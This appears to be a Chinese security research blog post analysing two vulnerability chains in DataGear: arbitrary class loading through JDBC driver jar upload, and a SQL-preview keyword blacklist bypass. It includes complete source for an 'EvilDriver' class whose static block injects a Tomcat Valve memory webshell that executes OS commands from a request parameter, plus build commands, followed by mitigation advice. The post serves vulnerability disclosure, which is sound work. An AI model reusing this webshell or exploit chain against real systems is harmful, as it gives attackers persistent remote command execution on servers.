我翻DataGear源码时,顺手摸到这两条危险的链

public Map<String, Object> uploadDriverFile(HttpServletRequest request, @RequestParam("id") String id, @RequestParam("file") MultipartFile multipartFile) throws Exception{ FileInfo[] fileInfos; List<String> driverClassNames = new ArrayList<>(); String originalFilename = multipartFile.getOriginalFilename(); DriverEntity driverEntity = this.driverEntityManager.get(id);if (driverEntity != null) { InputStream in = multipartFile.getInputStream();try {this.driverEntityManager.addDriverLibrary(driverEntity, originalFilename, in); }finally { IOUtil.close(in); } List<DriverLibraryInfo> driverLibraryInfos = this.driverEntityManager.getDriverLibraryInfos(driverEntity); fileInfos = toFileInfos(driverLibraryInfos); }else { File directory = getTempDriverLibraryDirectoryNotNull(id); File tempFile = getTempDriverLibraryFile(directory, originalFilename); multipartFile.transferTo(tempFile); resolveDriverClassNames(tempFile, driverClassNames); fileInfos = FileUtil.getFileInfos(directory); } Map<String, Object> map = new HashMap<>(); map.put("fileInfos", fileInfos); map.put("driverClassNames", driverClassNames);return map; }
public Map<String, Object> uploadDriverFile(HttpServletRequest request, @RequestParam("id") String id, @RequestParam("file") MultipartFile multipartFile) throws Exception{ FileInfo[] fileInfos; List<String> driverClassNames = new ArrayList<>(); String originalFilename = multipartFile.getOriginalFilename(); DriverEntity driverEntity = this.driverEntityManager.get(id);if (driverEntity != null) { InputStream in = multipartFile.getInputStream();try {this.driverEntityManager.addDriverLibrary(driverEntity, originalFilename, in); }finally { IOUtil.close(in); } List<DriverLibraryInfo> driverLibraryInfos = this.driverEntityManager.getDriverLibraryInfos(driverEntity); fileInfos = toFileInfos(driverLibraryInfos); }else { File directory = getTempDriverLibraryDirectoryNotNull(id); File tempFile = getTempDriverLibraryFile(directory, originalFilename); multipartFile.transferTo(tempFile); resolveDriverClassNames(tempFile, driverClassNames); fileInfos = FileUtil.getFileInfos(directory); } Map<String, Object> map = new HashMap<>(); map.put("fileInfos", fileInfos); map.put("driverClassNames", driverClassNames);return map; }
protected Connection getDtbsSourceConnection(DtbsSource dtbsSource)throws ConnectionSourceException{returnthis.dtbsSourceConnectionSupport.getDtbsSourceConnection(this.connectionSource, dtbsSource);}
public Connection getDtbsSourceConnection(ConnectionSource connectionSource, DtbsSource dtbsSource)throws ConnectionSourceException{ Connection cn = null; Properties properties = new Properties();if(dtbsSource.hasProperty()) { List<DtbsSourceProperty> dtbsSourceProperties = dtbsSource.getProperties();for(DtbsSourceProperty sp : dtbsSourceProperties) { String name = sp.getName(); String value = sp.getValue();if(!StringUtil.isEmpty(name)) properties.put(name, (value == null ? "" : value)); } } String schemaName = dtbsSource.getSchemaName();boolean emptySchemaName = StringUtil.isEmpty(schemaName);// 必须添加此连接属性,不然会获取到其他数据库模式的连接if (!emptySchemaName) { properties.put(INTERNAL_SCHEMA_PROPERTY_NAME, schemaName); } ConnectionOption connectionOption = ConnectionOption.valueOf(dtbsSource.getUrl(), dtbsSource.getUser(), dtbsSource.getPassword(), properties);if (dtbsSource.hasDriverEntity()) { DriverEntity driverEntity = dtbsSource.getDriverEntity(); cn = connectionSource.getConnection(driverEntity, connectionOption);//如果driverEntity不为空,则调用。 }else { cn = connectionSource.getConnection(connectionOption); }if (!emptySchemaName) {try { cn.setSchema(dtbsSource.getSchemaName()); }catch (SQLException e) {thrownew DataSourceException(e); } }return cn;}
public Connection getConnection(DriverEntity driverEntity, ConnectionOption connectionOption)throws ConnectionSourceException{ Driver driver = this.driverEntityManager.getDriver(driverEntity);if (!acceptsURL(driver, connectionOption.getUrl()))thrownew URLNotAcceptedException(driverEntity, connectionOption.getUrl());return getConnection(driver, connectionOption);}
publicsynchronized Driver getDriver(DriverEntity driverEntity)throws DriverEntityManagerException{ PathDriverFactoryInfo pdfi = getLatestPathDriverFactoryInfoNonNull(driverEntity);return pdfi.getPathDriverFactory().getDriver(driverEntity.getDriverClassName());}
publicsynchronized Driver getDriver(String driverClassName)throws PathDriverFactoryException{try { Class.forName(driverClassName, true, this.pathClassLoader); }catch (ClassNotFoundException e) {thrownew DriverNotFoundException(this.path.getPath(), driverClassName, e); }catch (ClassFormatError e) {thrownew DriverClassFormatErrorException(e); }catch (Throwable t) {thrownew PathDriverFactoryException(t); }try { Driver driver = (Driver) this.driverTool.getClass().getMethod("getDriver", String.class) .invoke(this.driverTool, driverClassName);if (driver == null)thrownew PathDriverFactoryException("No Driver named [" + driverClassName + "] found in [" + this.path + "]");if (LOGGER.isDebugEnabled()) LOGGER.debug("Get JDBC driver [" + driverClassName + "] in path [" + this.path + "]");return driver; }catch (IllegalArgumentException e) {thrownew PathDriverFactoryException(e); }catch (SecurityException e) {thrownew PathDriverFactoryException(e); }catch (IllegalAccessException e) {thrownew PathDriverFactoryException(e); }catch (InvocationTargetException e) {thrownew PathDriverFactoryException(e); }catch (NoSuchMethodException e) {thrownew PathDriverFactoryException(e); }}
链走到这里,其实已经闭上了:-
上传jar。 -
让系统把这个jar放进会被driver逻辑使用的路径。 -
通过driverClassName指向jar里的恶意类。 -
在testConnection这类看起来只是“辅助测试”的功能里,最终走到Class.forName(…, this.pathClassLoader)。
package evil;import java.io.*;import java.lang.reflect.*;import java.sql.*;import java.util.*;import java.util.logging.Logger;publicclass EvilDriver implements Driver {static {try {// Step 1: 获取 Tomcat StandardContextObject contextObj = getStandardContext();if (contextObj != null) {// Step 2: 注入 Valve 内存马 injectValve(contextObj); }// Step 3: 注册为合法 JDBC Driver(避免报错) DriverManager.registerDriver(new EvilDriver()); } catch (Exception e) { e.printStackTrace(); } }/** * 通过反射链获取 Tomcat StandardContext * * 反射链路: * Thread.currentThread().getContextClassLoader() * -> WebappClassLoaderBase * -> .resources (StandardRoot) * -> .getContext() -> StandardContext */privatestaticObject getStandardContext() throws Exception {// Method 1: WebappClassLoader -> resources -> contexttry { ClassLoader cl = Thread.currentThread().getContextClassLoader(); Field resourcesField = null; Class<?> c = cl.getClass();while (c != null) {try { resourcesField = c.getDeclaredField("resources");break; } catch (NoSuchFieldException e) { c = c.getSuperclass(); } }if (resourcesField != null) { resourcesField.setAccessible(true);Object resources = resourcesField.get(cl); Method getContext = resources.getClass().getMethod("getContext");return getContext.invoke(resources); } } catch (Exception e) {}// Method 2: Spring RequestContextHolder -> Request -> ServletContexttry { Class<?> rch = Class.forName("org.springframework.web.context.request.RequestContextHolder"); Method getAttr = rch.getMethod("getRequestAttributes");Object attrs = getAttr.invoke(null);if (attrs != null) { Method getRequest = attrs.getClass().getMethod("getRequest");Object request = getRequest.invoke(attrs); Method getSC = request.getClass().getMethod("getServletContext");Object servletContext = getSC.invoke(request);// ApplicationContextFacade -> ApplicationContext -> StandardContext Field appCtxField = servletContext.getClass() .getDeclaredField("context"); appCtxField.setAccessible(true);Object appCtx = appCtxField.get(servletContext); Field stdCtxField = appCtx.getClass() .getDeclaredField("context"); stdCtxField.setAccessible(true);return stdCtxField.get(appCtx); } } catch (Exception e) {}returnnull; }/** * 注入 Tomcat Valve 内存马 * * Valve 在 Tomcat Pipeline 的最底层执行, * 拦截所有经过该 Context 的 HTTP 请求。 * * 注入链路: * StandardContext.getPipeline() -> StandardPipeline * -> addValve(恶意 Valve) * -> 恶意 Valve 检查请求参数 * -> 有 magic 参数 → 执行命令返回结果 * -> 无 magic 参数 → 传递给下一个 Valve(正常处理) */privatestaticvoid injectValve(Object standardContext) throws Exception { Method getPipeline = standardContext.getClass().getMethod("getPipeline");Object pipeline = getPipeline.invoke(standardContext); ClassLoader tcl = standardContext.getClass().getClassLoader(); Class<?> valveClass = tcl.loadClass("org.apache.catalina.Valve");// 使用动态代理创建 Valve 实例Object valve = Proxy.newProxyInstance( tcl,new Class<?>[]{valveClass},new InvocationHandler() {privateObject next = null;@OverridepublicObject invoke(Object proxy, Method method, Object[] args) throws Throwable {String methodName = method.getName();// 拦截 invoke(Request, Response) 调用if ("invoke".equals(methodName) && args != null && args.length == 2) {Object request = args[0];Object response = args[1];try { Method getParam = request.getClass() .getMethod("getParameter", String.class);// 检查 magic 参数String cmd = (String) getParam .invoke(request, "datagear");if (cmd != null && !cmd.isEmpty()) {// 执行系统命令String os = System.getProperty("os.name") .toLowerCase();String[] cmds;if (os.contains("win")) { cmds = newString[]{"cmd.exe", "/c", cmd}; } else { cmds = newString[]{"/bin/bash", "-c", cmd}; } Process p = Runtime.getRuntime().exec(cmds); InputStream is = p.getInputStream(); ByteArrayOutputStream baos =new ByteArrayOutputStream(); byte[] buf = new byte[4096]; int len;while ((len = is.read(buf)) != -1) { baos.write(buf, 0, len); } p.waitFor();// 写入响应 Method getWriter = response.getClass() .getMethod("getWriter");Object writer = getWriter.invoke(response); Method write = writer.getClass() .getMethod("write", String.class); write.invoke(writer,newString(baos.toByteArray())); Method flush = writer.getClass() .getMethod("flush"); flush.invoke(writer);returnnull; // 不继续传递请求 } } catch (Exception e) {}// 无 magic 参数 → 正常传递给下一个 Valveif (next != null) { Method invokeNext = next.getClass().getMethod("invoke", request.getClass().getInterfaces()[0], response.getClass().getInterfaces()[0]); invokeNext.invoke(next, request, response); }returnnull; }// Valve 接口的其他方法if ("getNext".equals(methodName)) return next;if ("setNext".equals(methodName)) { next = args[0]; returnnull; }if ("backgroundProcess".equals(methodName)) returnnull;if ("isAsyncSupported".equals(methodName)) returntrue;if ("getContainer".equals(methodName))return standardContext;if ("setContainer".equals(methodName)) returnnull;returnnull; } } );// 注入到 Pipeline Method addValve = pipeline.getClass() .getMethod("addValve", valveClass); addValve.invoke(pipeline, valve); }// --- JDBC Driver 接口空实现 ---public Connection connect(String url, Properties info) { returnnull; }publicboolean acceptsURL(String url) { returntrue; }public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) {returnnew DriverPropertyInfo[0]; }public int getMajorVersion() { return1; }public int getMinorVersion() { return0; }publicboolean jdbcCompliant() { returnfalse; }public Logger getParentLogger() { returnnull; }}
javac -encoding UTF-8 -source 8 -target 8 -d . EvilDriver.javajar cf evil-driver.jar evil/EvilDriver.class evil/EvilDriver$1.class

-
只有高权限管理员能上传驱动,并且权限与普通数据源管理彻底隔离。
-
上传内容要做类型、签名、来源或白名单校验,不能“给个jar就吃”。
-
驱动目录和运行目录隔离,避免临时文件直接进入可加载路径。
-
测试连接功能不要在主应用上下文里直接完成任意类加载。
-
所有driver上传、driver变更、testConnection调用都应该有明确审计日志。
@RequestMapping(value = "/preview/" + DataSetEntity.DATA_SET_TYPE_SQL, produces = CONTENT_TYPE_JSON)@ResponseBodypublic TemplateResolvedDataSetResult previewSql(HttpServletRequest request, HttpServletResponse response, Model springModel, @RequestBody SqlDataSetPreview preview) throws Throwable{ User user = getCurrentUser(); SqlDataSetEntity entity = preview.getDataSet();if(isEmpty(entity))thrownew IllegalInputException(); inflateSaveEntity(request, entity); trimSqlDataSetEntity(entity);// 添加时if (StringUtil.isEmpty(entity.getId())) { inflateSaveAddBaseInfo(request, user, entity); checkSaveSqlDataSetEntity(request, user, entity, null); }// 查看时elseif (preview.isView()) { entity = (SqlDataSetEntity) getByIdForView(getDataSetEntityService(), user, entity.getId()); }// 编辑时else {String id = entity.getId(); checkSaveSqlDataSetEntity(request, user, entity,new OnceSupplier<>(() -> {return (SqlDataSetEntity) getByIdForEdit(getDataSetEntityService(), user, id); })); } DtbsSourceConnectionFactory connFactory = entity.getDtbsCnFty(); DtbsSource dtbsSource = (connFactory == null ? null : connFactory.getDtbsSource());String dtbsSourceId = (dtbsSource == null ? null : dtbsSource.getId());if (StringUtil.isEmpty(dtbsSourceId))thrownew IllegalInputException(); dtbsSource = getDtbsSourceNotNull(dtbsSourceId); DtbsSourceConnectionFactory connectionFactory = new DtbsSourceConnectionFactory(getConnectionSource(), dtbsSource); entity.setConnectionFactory(connectionFactory); entity.setSqlValidator(this.dataSetEntityService.buildSqlValidator(entity)); DataSetQuery query = convertDataSetQuery(request, response, preview.getQuery(), entity);return doPreviewSql(entity, query);
public static Pattern toKeywordPattern(String... keywords){ StringBuilder sb = new StringBuilder(); sb.append("([^\\_\\w]|^)"); sb.append("(");for (int i = 0; i < keywords.length; i++) {if (i > 0) sb.append('|'); sb.append("(" + Pattern.quote(keywords[i]) + ")"); } sb.append(")"); sb.append("([^\\_\\w]|$)");return compileToSqlValidatorPattern(sb.toString());}
-
后端数据库类型是否支持对应文件读取能力。 -
当前数据库账号是否具备相应权限。 -
目标文件路径是否对数据库进程可读。 -
这条SQL预览能力是否对当前用户开放。


-
不要靠通用黑名单去赌所有数据库方言和函数组合。
-
针对具体数据库类型做能力级限制,而不是只拦字符串。
-
对预览SQL的账号做严格最小权限控制,默认不给文件读取、命令执行、外联等高危能力。
-
对数据集预览、查询测试这类接口单独做高风险审计。
-
能白名单就白名单,能解析AST或做结构化限制,就不要继续迷信字符串黑名单。
-
一类是上传、插件、驱动、模板这种东西,最后会不会进解释器、类加载器或者执行链。
-
一类是校验看起来做了很多,实际只是字符串黑名单,稍微换个写法就能从边上绕过去。
-
欢迎关注我们的公众号、CSDN、视频号、BiliBili账号 -
如您有意加入我们新建设的安全私域圈子,可扫码加入,我会和我的智能体一起用心地经营这一方天地

夜雨聆风